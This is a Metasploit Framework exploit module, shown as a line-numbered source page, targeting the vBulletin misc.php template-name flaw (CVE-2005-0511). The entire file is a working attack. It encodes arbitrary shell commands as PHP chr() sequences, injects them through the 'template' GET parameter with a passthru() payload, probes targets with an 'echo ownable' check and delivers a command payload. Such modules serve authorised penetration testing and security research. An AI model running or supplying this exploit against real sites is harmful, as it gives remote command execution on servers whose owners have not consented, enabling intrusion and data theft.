root / modules / exploits / unix / webapp / php_vbulletin_template.rb @ master
History | View | Annotate | Download (3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpClient |
| 18 |
|
| 19 |
# XXX This module needs an overhaul
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'vBulletin misc.php Template Name Arbitrary Code Execution', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits an arbitrary PHP code execution flaw in |
| 25 |
the vBulletin web forum software. This vulnerability is only |
| 26 |
present when the "Add Template Name in HTML Comments" option |
| 27 |
is enabled. All versions of vBulletin prior to 3.0.7 are |
| 28 |
affected. |
| 29 |
},
|
| 30 |
'Author' =>
|
| 31 |
[ |
| 32 |
'str0ke <str0ke[at]milw0rm.com>',
|
| 33 |
'cazz'
|
| 34 |
], |
| 35 |
'License' => BSD_LICENSE, |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
[ 'CVE', '2005-0511' ], |
| 40 |
[ 'BID', '12622' ], |
| 41 |
[ 'OSVDB', '14047' ], |
| 42 |
], |
| 43 |
'Privileged' => false, |
| 44 |
'Platform' => ['unix'], |
| 45 |
'Arch' => ARCH_CMD, |
| 46 |
'Payload' =>
|
| 47 |
{
|
| 48 |
'Space' => 512, |
| 49 |
'DisableNops' => true, |
| 50 |
'Keys' => ['cmd', 'cmd_bash'], |
| 51 |
}, |
| 52 |
'Targets' => [ ['Automatic', { }], ], |
| 53 |
'DefaultTarget' => 0, |
| 54 |
'DisclosureDate' => 'Feb 25 2005' |
| 55 |
)) |
| 56 |
|
| 57 |
register_options( |
| 58 |
[ |
| 59 |
OptString.new('PATH', [ true, "Path to misc.php", '/forum/misc.php']), |
| 60 |
], self.class)
|
| 61 |
|
| 62 |
deregister_options( |
| 63 |
'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. |
| 64 |
) |
| 65 |
end
|
| 66 |
|
| 67 |
def go(command) |
| 68 |
wrapper = rand_text_alphanumeric(rand(128)+32) |
| 69 |
|
| 70 |
command = "echo #{wrapper};#{command};echo #{wrapper};"
|
| 71 |
encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.') |
| 72 |
|
| 73 |
res = send_request_cgi({
|
| 74 |
'uri' => datastore['PATH'], |
| 75 |
'method' => 'GET', |
| 76 |
'vars_get' =>
|
| 77 |
{
|
| 78 |
'do' => "page", |
| 79 |
'template' => "{${passthru(#{encoded})}}" |
| 80 |
} |
| 81 |
}, 5)
|
| 82 |
|
| 83 |
if (res and res.body) |
| 84 |
b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
|
| 85 |
if b
|
| 86 |
return b.captures[0] |
| 87 |
elsif datastore['HTTP::chunked'] == true |
| 88 |
b = /chunked Transfer-Encoding forbidden/.match(res.body)
|
| 89 |
if b
|
| 90 |
raise RuntimeError, 'Target PHP installation does not support chunked encoding. ' + |
| 91 |
'Support for chunked encoded requests was added to PHP on 12/15/2005. ' +
|
| 92 |
'Try disabling HTTP::chunked and trying again.'
|
| 93 |
end
|
| 94 |
end
|
| 95 |
end
|
| 96 |
|
| 97 |
return nil |
| 98 |
end
|
| 99 |
|
| 100 |
def check |
| 101 |
response = go("echo ownable")
|
| 102 |
if (!response.nil? and response =~ /ownable/sm) |
| 103 |
return Exploit::CheckCode::Vulnerable |
| 104 |
end
|
| 105 |
return Exploit::CheckCode::Safe |
| 106 |
end
|
| 107 |
|
| 108 |
def exploit |
| 109 |
response = go(payload.encoded) |
| 110 |
if response == nil |
| 111 |
print_error('exploit failed: no response')
|
| 112 |
else
|
| 113 |
if response.length == 0 |
| 114 |
print_status('exploit successful')
|
| 115 |
else
|
| 116 |
print_status("Command returned #{response}")
|
| 117 |
end
|
| 118 |
handler |
| 119 |
end
|
| 120 |
end
|
| 121 |
end
|